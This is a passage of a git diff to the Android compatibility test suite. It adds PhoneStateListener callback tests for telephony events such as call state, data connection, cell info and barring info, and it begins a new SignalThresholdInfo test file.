+                mLock.wait(WAIT_TIME);
+            }
+        }
+        Log.d(TAG, "testOnVoiceActivationStateChangedByRegisterPhoneStateListener: "
+                + mVoiceActivationState);
+        int state = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                (tm) -> tm.getVoiceActivationState());
+
+        assertEquals(state, mVoiceActivationState);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mVoiceActivationStateChangedCalled,
+                mVoiceActivationStateChangedListener);
+    }
+
     @Test
     public void testOnVoiceActivationStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -641,6 +1083,73 @@
         assertEquals(state, mVoiceActivationState);
     }
 
+    private PreciseDataConnectionStateChangedListener mPreciseDataConnectionStateChangedListener;
+
+    private class PreciseDataConnectionStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.PreciseDataConnectionStateChangedListener {
+        @Override
+        public void onPreciseDataConnectionStateChanged(
+                PreciseDataConnectionState state) {
+            synchronized (mLock) {
+                mOnPreciseDataConnectionStateChanged = true;
+                mPreciseDataConnectionState = state;
+                mLock.notify();
+            }
+        }
+    }
+
+    private void getPreciseDataConnectionState() {
+        // Ensure that no exceptions are thrown
+        mPreciseDataConnectionState.getNetworkType();
+        mPreciseDataConnectionState.getLinkProperties();
+        mPreciseDataConnectionState.getLastCauseCode();
+        mPreciseDataConnectionState.getLinkProperties();
+        mPreciseDataConnectionState.getApnSetting();
+        mPreciseDataConnectionState.getTransportType();
+        mPreciseDataConnectionState.getId();
+
+        // Deprecated in R
+        assertEquals(mPreciseDataConnectionState.getDataConnectionState(),
+                mPreciseDataConnectionState.getState());
+        assertEquals(mPreciseDataConnectionState.getDataConnectionFailCause(),
+                mPreciseDataConnectionState.getLastCauseCode());
+
+        // Superseded in R by getApnSetting()
+        mPreciseDataConnectionState.getDataConnectionApnTypeBitMask();
+        mPreciseDataConnectionState.getDataConnectionApn();
+    }
+
+    @Test
+    public void testOnPreciseDataConnectionStateChangedByRegisterPhoneStateListener()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnCallDisconnectCauseChangedCalled).isFalse();
+
+        mHandler.post(() -> {
+            mPreciseDataConnectionStateChangedListener =
+                    new PreciseDataConnectionStateChangedListener();
+            registerPhoneStateListenerWithPermission(mPreciseDataConnectionStateChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mOnPreciseDataConnectionStateChanged){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertThat(mOnPreciseDataConnectionStateChanged).isTrue();
+        assertThat(mPreciseDataConnectionState.getState())
+                .isIn(DATA_CONNECTION_STATE);
+
+        getPreciseDataConnectionState();
+        // Test unregister
+        unRegisterPhoneStateListener(mOnPreciseDataConnectionStateChanged,
+                mPreciseDataConnectionStateChangedListener);
+    }
+
     @Test
     public void testOnPreciseDataConnectionStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -675,24 +1184,44 @@
         assertThat(mPreciseDataConnectionState.getState())
                 .isIn(DATA_CONNECTION_STATE);
 
-        // Ensure that no exceptions are thrown
-        mPreciseDataConnectionState.getNetworkType();
-        mPreciseDataConnectionState.getLinkProperties();
-        mPreciseDataConnectionState.getLastCauseCode();
-        mPreciseDataConnectionState.getLinkProperties();
-        mPreciseDataConnectionState.getApnSetting();
-        mPreciseDataConnectionState.getTransportType();
-        mPreciseDataConnectionState.getId();
+        getPreciseDataConnectionState();
+    }
 
-        // Deprecated in R
-        assertEquals(mPreciseDataConnectionState.getDataConnectionState(),
-                mPreciseDataConnectionState.getState());
-        assertEquals(mPreciseDataConnectionState.getDataConnectionFailCause(),
-                mPreciseDataConnectionState.getLastCauseCode());
+    private DisplayInfoChangedListener mDisplayInfoChangedListener;
 
-        // Superseded in R by getApnSetting()
-        mPreciseDataConnectionState.getDataConnectionApnTypeBitMask();
-        mPreciseDataConnectionState.getDataConnectionApn();
+    private class DisplayInfoChangedListener extends PhoneStateListener
+            implements PhoneStateListener.DisplayInfoChangedListener {
+        @Override
+        public void onDisplayInfoChanged(TelephonyDisplayInfo displayInfo) {
+            synchronized (mLock) {
+                mOnTelephonyDisplayInfoChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDisplayInfoChangedByRegisterPhoneStateListener() throws Exception {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertThat(mOnTelephonyDisplayInfoChanged).isFalse();
+
+        mHandler.post(() -> {
+            mDisplayInfoChangedListener = new DisplayInfoChangedListener();
+            registerPhoneStateListener(mDisplayInfoChangedListener);
+        });
+
+        synchronized (mLock) {
+            if (!mOnTelephonyDisplayInfoChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnTelephonyDisplayInfoChanged);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnTelephonyDisplayInfoChanged, mDisplayInfoChangedListener);
     }
 
     @Test
@@ -726,6 +1255,47 @@
         assertTrue(mOnTelephonyDisplayInfoChanged);
     }
 
+    private CallForwardingIndicatorChangedListener mCallForwardingIndicatorChangedListener;
+
+    private class CallForwardingIndicatorChangedListener extends PhoneStateListener
+            implements PhoneStateListener.CallForwardingIndicatorChangedListener {
+        @Override
+        public void onCallForwardingIndicatorChanged(boolean cfi) {
+            synchronized (mLock) {
+                mOnCallForwardingIndicatorChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallForwardingIndicatorChangedByRegisterPhoneStateListener()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCallForwardingIndicatorChangedCalled);
+
+        mHandler.post(() -> {
+            mCallForwardingIndicatorChangedListener =
+                    new CallForwardingIndicatorChangedListener();
+            registerPhoneStateListener(mCallForwardingIndicatorChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnCallForwardingIndicatorChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCallForwardingIndicatorChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnCallForwardingIndicatorChangedCalled,
+                mCallForwardingIndicatorChangedListener);
+    }
+
+
     @Test
     public void testOnCallForwardingIndicatorChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -756,6 +1326,44 @@
         assertTrue(mOnCallForwardingIndicatorChangedCalled);
     }
 
+    private CellLocationChangedListener mCellLocationChangedListener;
+
+    private class CellLocationChangedListener extends PhoneStateListener
+            implements PhoneStateListener.CellLocationChangedListener {
+        @Override
+        public void onCellLocationChanged(CellLocation location) {
+            synchronized (mLock) {
+                mOnCellLocationChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCellLocationChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCellLocationChangedCalled);
+
+        TelephonyManagerTest.grantLocationPermissions();
+        mHandler.post(() -> {
+            mCellLocationChangedListener = new CellLocationChangedListener();
+            registerPhoneStateListener(mCellLocationChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnCellLocationChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCellLocationChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnCellLocationChangedCalled, mCellLocationChangedListener);
+    }
+
     @Test
     public void testOnCellLocationChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -786,6 +1394,43 @@
         assertTrue(mOnCellLocationChangedCalled);
     }
 
+    private CallStateChangedListener mCallStateChangedListener;
+
+    private class CallStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.CallStateChangedListener {
+        @Override
+        public void onCallStateChanged(int state, String incomingNumber) {
+            synchronized (mLock) {
+                mOnCallStateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCallStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnCallStateChangedCalled);
+
+        mHandler.post(() -> {
+            mCallStateChangedListener = new CallStateChangedListener();
+            registerPhoneStateListener(mCallStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnCallStateChangedCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCallStateChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnCallStateChangedCalled, mCallStateChangedListener);
+    }
+
     @Test
     public void testOnCallStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -815,6 +1460,53 @@
         assertTrue(mOnCallStateChangedCalled);
     }
 
+
+    private DataConnectionStateChangedListener mDataConnectionStateChangedListener;
+
+    private class DataConnectionStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.DataConnectionStateChangedListener {
+        @Override
+        public void onDataConnectionStateChanged(int state, int networkType) {
+            synchronized (mLock) {
+                mOnDataConnectionStateChangedCalled = true;
+                mOnDataConnectionStateChangedWithNetworkTypeCalled = true;
+                if (mOnDataConnectionStateChangedCalled
+                        && mOnDataConnectionStateChangedWithNetworkTypeCalled) {
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataConnectionStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataConnectionStateChangedCalled);
+        assertFalse(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+
+        mHandler.post(() -> {
+            mDataConnectionStateChangedListener = new DataConnectionStateChangedListener();
+            registerPhoneStateListener(mDataConnectionStateChangedListener);
+
+        });
+        synchronized (mLock) {
+            if (!mOnDataConnectionStateChangedCalled ||
+                    !mOnDataConnectionStateChangedWithNetworkTypeCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnDataConnectionStateChangedCalled);
+        assertTrue(mOnDataConnectionStateChangedWithNetworkTypeCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnDataConnectionStateChangedCalled,
+                mDataConnectionStateChangedListener);
+    }
+
     @Test
     public void testOnDataConnectionStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -861,6 +1553,45 @@
         assertTrue(mOnDataConnectionStateChangedWithNetworkTypeCalled);
     }
 
+
+    private DataActivityListener mDataActivityListener;
+
+    private class DataActivityListener extends PhoneStateListener
+            implements PhoneStateListener.DataActivityListener {
+        @Override
+        public void onDataActivity(int direction) {
+            synchronized (mLock) {
+                mOnDataActivityCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataActivityByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataActivityCalled);
+
+        mHandler.post(() -> {
+            mDataActivityListener =  new DataActivityListener();
+            registerPhoneStateListener(mDataActivityListener);
+
+        });
+        synchronized (mLock) {
+            if (!mOnDataActivityCalled){
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnDataActivityCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnDataActivityCalled, mDataActivityListener);
+    }
+
     @Test
     public void testOnDataActivity() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -890,6 +1621,44 @@
         assertTrue(mOnDataActivityCalled);
     }
 
+    private CellInfoChangedListener mCellInfoChangedListener;
+
+    private class CellInfoChangedListener extends PhoneStateListener
+            implements PhoneStateListener.CellInfoChangedListener {
+        @Override
+        public void onCellInfoChanged(List<CellInfo> cellInfo) {
+            synchronized (mLock) {
+                mOnCellInfoChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnCellInfoChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnDataActivityCalled);
+
+        TelephonyManagerTest.grantLocationPermissions();
+        mHandler.post(() -> {
+            mCellInfoChangedListener = new CellInfoChangedListener();
+            registerPhoneStateListener(mCellInfoChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnCellInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnCellInfoChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnCellInfoChangedCalled, mCellInfoChangedListener);
+    }
+
     @Test
     public void testOnCellInfoChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -920,6 +1689,45 @@
         assertTrue(mOnCellInfoChangedCalled);
     }
 
+
+    private UserMobileDataStateChangedListener mUserMobileDataStateChangedListener;
+
+    private class UserMobileDataStateChangedListener extends PhoneStateListener
+            implements PhoneStateListener.UserMobileDataStateChangedListener {
+        @Override
+        public void onUserMobileDataStateChanged(boolean state) {
+            synchronized (mLock) {
+                mOnUserMobileDataStateChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnUserMobileDataStateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnUserMobileDataStateChanged);
+
+        mHandler.post(() -> {
+            mUserMobileDataStateChangedListener = new UserMobileDataStateChangedListener();
+            registerPhoneStateListener(mUserMobileDataStateChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnUserMobileDataStateChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnUserMobileDataStateChanged);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnUserMobileDataStateChanged,
+                mUserMobileDataStateChangedListener);
+    }
+
     @Test
     public void testOnUserMobileDataStateChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -950,6 +1758,63 @@
         assertTrue(mOnUserMobileDataStateChanged);
     }
 
+    private OutgoingEmergencySmsListener mOutgoingEmergencySmsListener;
+
+    private class OutgoingEmergencySmsListener extends PhoneStateListener
+            implements PhoneStateListener.OutgoingEmergencySmsListener {
+        @Override
+        public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber) {
+            synchronized (mLock) {
+                Log.i(TAG, "onOutgoingEmergencySms: emergencyNumber=" + emergencyNumber);
+                mOnOutgoingSmsEmergencyNumberChanged = emergencyNumber;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnOutgoingSmsEmergencyNumberChangedByRegisterPhoneStateListener()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        TelephonyUtils.addTestEmergencyNumber(
+                InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
+
+        assertNull(mOnOutgoingSmsEmergencyNumberChanged);
+
+        mHandler.post(() -> {
+            mOutgoingEmergencySmsListener = new OutgoingEmergencySmsListener();
+            registerPhoneStateListenerWithPermission(mOutgoingEmergencySmsListener);
+            SmsManager.getDefault().sendTextMessage(
+                    TEST_EMERGENCY_NUMBER, null,
+                    "testOutgoingSmsListenerCtsByRegisterPhoneStateListener",
+                    null, null);
+        });
+
+        try {
+            synchronized (mLock) {
+                if (mOnOutgoingSmsEmergencyNumberChanged == null) {
+                    mLock.wait(WAIT_TIME);
+                }
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Operation interrupted.");
+        } finally {
+            TelephonyUtils.removeTestEmergencyNumber(
+                    InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
+        }
+
+        assertNotNull(mOnOutgoingSmsEmergencyNumberChanged);
+        assertEquals(mOnOutgoingSmsEmergencyNumberChanged.getNumber(), TEST_EMERGENCY_NUMBER);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnOutgoingSmsEmergencyNumberChanged == null,
+                mOutgoingEmergencySmsListener);
+    }
+
     @Test
     public void testOnOutgoingSmsEmergencyNumberChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -960,17 +1825,16 @@
         TelephonyUtils.addTestEmergencyNumber(
                 InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
 
-        LinkedBlockingQueue<Pair<EmergencyNumber, Integer>> smsCallbackQueue =
-                new LinkedBlockingQueue<>(1);
+        assertNull(mOnOutgoingSmsEmergencyNumberChanged);
 
         mHandler.post(() -> {
             mListener = new PhoneStateListener() {
                 @Override
-                public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber,
-                        int subscriptionId) {
+                public void onOutgoingEmergencySms(EmergencyNumber emergencyNumber) {
                     synchronized (mLock) {
                         Log.i(TAG, "onOutgoingEmergencySms: emergencyNumber=" + emergencyNumber);
-                        smsCallbackQueue.offer(Pair.create(emergencyNumber, subscriptionId));
+                        mOnOutgoingSmsEmergencyNumberChanged = emergencyNumber;
+                        mLock.notify();
                     }
                 }
             };
@@ -982,12 +1846,11 @@
         });
 
         try {
-            Pair<EmergencyNumber, Integer> emergencySmsInfo =
-                    smsCallbackQueue.poll(WAIT_TIME, TimeUnit.MILLISECONDS);
-            assertNotNull("Never got emergency sms callback", emergencySmsInfo);
-            assertEquals(TEST_EMERGENCY_NUMBER, emergencySmsInfo.first.getNumber());
-            assertEquals(SubscriptionManager.getDefaultSmsSubscriptionId(),
-                    emergencySmsInfo.second.intValue());
+            synchronized (mLock) {
+                if (mOnOutgoingSmsEmergencyNumberChanged == null) {
+                    mLock.wait(WAIT_TIME);
+                }
+            }
         } catch (InterruptedException e) {
             Log.e(TAG, "Operation interrupted.");
         } finally {
@@ -995,6 +1858,48 @@
                     InstrumentationRegistry.getInstrumentation(), TEST_EMERGENCY_NUMBER);
         }
 
+        assertNotNull(mOnOutgoingSmsEmergencyNumberChanged);
+        assertEquals(mOnOutgoingSmsEmergencyNumberChanged.getNumber(), TEST_EMERGENCY_NUMBER);
+    }
+
+    private ActiveDataSubscriptionIdChangedListener mActiveDataSubscriptionIdChangedListener;
+
+    private class ActiveDataSubscriptionIdChangedListener extends PhoneStateListener
+            implements PhoneStateListener.ActiveDataSubscriptionIdChangedListener {
+        @Override
+        public void onActiveDataSubscriptionIdChanged(int subId) {
+            synchronized (mLock) {
+                mOnActiveDataSubscriptionIdChanged = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnActiveDataSubscriptionIdChangedByRegisterPhoneStateListener()
+            throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+        assertFalse(mOnActiveDataSubscriptionIdChanged);
+
+        mHandler.post(() -> {
+            mActiveDataSubscriptionIdChangedListener =
+                    new ActiveDataSubscriptionIdChangedListener();
+            registerPhoneStateListener(mActiveDataSubscriptionIdChangedListener);
+        });
+        synchronized (mLock) {
+            if (!mOnActiveDataSubscriptionIdChanged) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        assertTrue(mOnActiveDataSubscriptionIdChanged);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnActiveDataSubscriptionIdChanged,
+                mActiveDataSubscriptionIdChangedListener);
     }
 
     @Test
@@ -1027,6 +1932,46 @@
         assertTrue(mOnActiveDataSubscriptionIdChanged);
     }
 
+    private BarringInfoChangedListener mBarringInfoChangedListener;
+
+    private class BarringInfoChangedListener extends PhoneStateListener
+            implements PhoneStateListener.BarringInfoChangedListener {
+        @Override
+        public void onBarringInfoChanged(BarringInfo barringInfo) {
+            synchronized (mLock) {
+                mOnBarringInfoChangedCalled = true;
+                mBarringInfo = barringInfo;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnBarringInfoChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnBarringInfoChangedCalled);
+        mHandler.post(() -> {
+            mBarringInfoChangedListener = new BarringInfoChangedListener();
+            registerPhoneStateListenerWithPermission(mBarringInfoChangedListener);
+        });
+
+        synchronized (mLock) {
+            if (!mOnBarringInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnBarringInfoChangedCalled);
+
+        assertBarringInfoSane(mBarringInfo);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnBarringInfoChangedCalled, mBarringInfoChangedListener);
+    }
+
     @Test
     public void testOnBarringInfoChanged() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -1129,6 +2074,53 @@
         assertNotEquals(hasBarringTypeUnknown, hasBarringTypeKnown);
     }
 
+    private RegistrationFailedListener mRegistrationFailedListener;
+
+    private class RegistrationFailedListener extends PhoneStateListener
+            implements PhoneStateListener.RegistrationFailedListener {
+        @Override
+        public void onRegistrationFailed(CellIdentity cid, String chosenPlmn,
+                                         int domain, int causeCode, int additionalCauseCode) {
+            synchronized (mLock) {
+                mOnRegistrationFailedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnRegistrationFailedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnBarringInfoChangedCalled);
+        mHandler.post(() -> {
+            mRegistrationFailedListener = new RegistrationFailedListener();
+            registerPhoneStateListenerWithPermission(mRegistrationFailedListener);
+
+        });
+
+        synchronized (mLock) {
+            if (!mOnBarringInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        // Assert that in the WAIT_TIME interval, the listener wasn't invoked. While this is
+        // **technically** a flaky test, in practice this flake should happen approximately never
+        // as it would mean that a registered phone is failing to reselect during CTS at this
+        // exact moment.
+        //
+        // What the test is verifying is that there is no "auto" callback for registration
+        // failure because unlike other PSL registrants, this one is not called upon registration.
+        assertFalse(mOnRegistrationFailedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnRegistrationFailedCalled, mRegistrationFailedListener);
+    }
+
     @Test
     public void testOnRegistrationFailed() throws Throwable {
         if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
@@ -1168,4 +2160,83 @@
         // failure because unlike other PSL registrants, this one is not called upon registration.
         assertFalse(mOnRegistrationFailedCalled);
     }
+
+    private PhysicalChannelConfigChangedListener mPhysicalChannelConfigChangedListener;
+
+    private class PhysicalChannelConfigChangedListener extends PhoneStateListener
+            implements PhoneStateListener.PhysicalChannelConfigChangedListener {
+        @Override
+        public void onPhysicalChannelConfigChanged(
+                @NonNull List<PhysicalChannelConfig> configs) {
+            synchronized (mLock) {
+                mOnPhysicalChannelConfigCalled = true;
+                Log.d(TAG, "MockPhoneStateListener PhysicalChannelConfig");
+                Log.d(TAG, "MockPhoneStateListener configs = " + configs);
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnPhysicalChannelConfigChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnPhysicalChannelConfigCalled);
+        mHandler.post(() -> {
+            mPhysicalChannelConfigChangedListener =
+                    new PhysicalChannelConfigChangedListener();
+            registerPhoneStateListenerWithPermission(mPhysicalChannelConfigChangedListener);
+        });
+
+        synchronized (mLock) {
+            while (!mOnPhysicalChannelConfigCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnPhysicalChannelConfigCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnPhysicalChannelConfigCalled,
+                mPhysicalChannelConfigChangedListener);
+    }
+
+    private DataEnabledChangedListener mDataEnabledChangedListener;
+
+    private class DataEnabledChangedListener extends PhoneStateListener
+            implements PhoneStateListener.DataEnabledChangedListener {
+        @Override
+        public void onDataEnabledChanged(boolean enabled, @DataEnabledReason int reason) {
+            synchronized (mLock) {
+                mOnDataEnabledChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataEnabledChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnDataEnabledChangedCalled);
+        mHandler.post(() -> {
+            mDataEnabledChangedListener = new DataEnabledChangedListener();
+            registerPhoneStateListenerWithPermission(mDataEnabledChangedListener);
+        });
+
+        synchronized (mLock) {
+            while (!mOnDataEnabledChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnDataEnabledChangedCalled);
+
+        // Test unregister
+        unRegisterPhoneStateListener(mOnDataEnabledChangedCalled, mDataEnabledChangedListener);
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
new file mode 100644
index 0000000..e60ff53
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SignalThresholdInfoTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.SignalThresholdInfo;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Test SignalThresholdInfo to make sure the object can only constructed with only valid data.
+ */
+public class SignalThresholdInfoTest {
+    private static final String TAG = "SignalThresholdInfo";
+
+    // A sample of valid (RAN, SignalMeasurementType, threshold value) arrays. Threshold value will
+    // used to construct thresholds array during test.
+    private static final int[][] VALID_PARAMS = {
+            {AccessNetworkConstants.AccessNetworkType.GERAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, -100},
+            {AccessNetworkConstants.AccessNetworkType.CDMA2000,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.UTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP, -100},
+            {AccessNetworkConstants.AccessNetworkType.EUTRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    -100},
+            {AccessNetworkConstants.AccessNetworkType.NGRAN,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    -100},
+    };
+
+    // Map of SignalMeasurementType to invalid thresholds edge values.
+    // Each invalid value will be constructed with a thresholds array to test separately.
+    private static final Map<Integer, List<Integer>> INVALID_THRESHOLDS_MAP = Map.of(
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI,
+            List.of(SignalThresholdInfo.SIGNAL_RSSI_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSI_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP,
+            List.of(SignalThresholdInfo.SIGNAL_RSCP_MIN_VALUE - 1,
